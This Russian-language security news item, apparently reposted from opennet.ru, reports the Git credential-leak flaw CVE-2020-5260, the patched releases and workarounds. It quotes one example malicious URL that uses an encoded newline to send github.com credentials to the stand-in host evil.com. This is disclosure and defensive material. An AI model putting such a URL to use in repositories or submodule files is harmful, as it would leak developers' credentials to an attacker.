29.09.2020

Уязвимость в Git, приводящая к утечке учётных данных


Опубликованы корректирующие выпуски распределённой системы управления исходными текстами Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 и 2.17.4, в которых устранена уязвимость (CVE-2020-5260) в обработчике «credential.helper«, приводящая к отправке учётных данных не на тот хост при обращении git-клиента к репозиторию по специально оформленному URL, содержащему символ новой строки. Уязвимость можно использовать для организации отправки на сервер, подконтрольный атакующему, учётных данных от другого хоста.

При указании URL вида «https://evil.com?%0ahost=github.com/» обработчик учётных данных при подключении к хосту evil.com передаст параметры аутентификации, заданные для github.com. Проблема проявляется при выполнении таких операций, как «git clone», в том числе при обработке URL для субмодулей (например, при выполнении «git submodule update» будут автоматически обработаны URL, заданные в файле .gitmodules из репозитория). Наибольшую опасность уязвимость представляет в ситуациях, когда разработчик выполняет клонирование репозитория не видя URL, например, при работе с субмодулями, или в системах, выполняющих автоматические действия, например, в скриптах сборки пакетов.

Для блокирования уязвимости в новых версиях запрещена передача символа новой строки в любых значениях, передаваемых через протокол обмена учётными данными. Для дистрибутивов проследить за выпуском обновлений пакетов можно на страницах Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, Arch, FreeBSD. В качестве обходного пути блокирования проблемы рекомендуется не использовать credential.helper при обращении к публичным репозиториям и не применять «git clone» в режиме «—recurse-submodules» с непроверенными репозиториями. Для полного отключения обработчика credential.helper, который выполняет сохранение и извлечение паролей из кэша, защищённого хранилища или файла с паролями, можно использовать команды:

     git config --unset credential.helper     git config --global --unset credential.helper     git config --system --unset credential.helper  

Источник: https://www.opennet.ru/opennews/art.shtml?num=52734

Добавить комментарий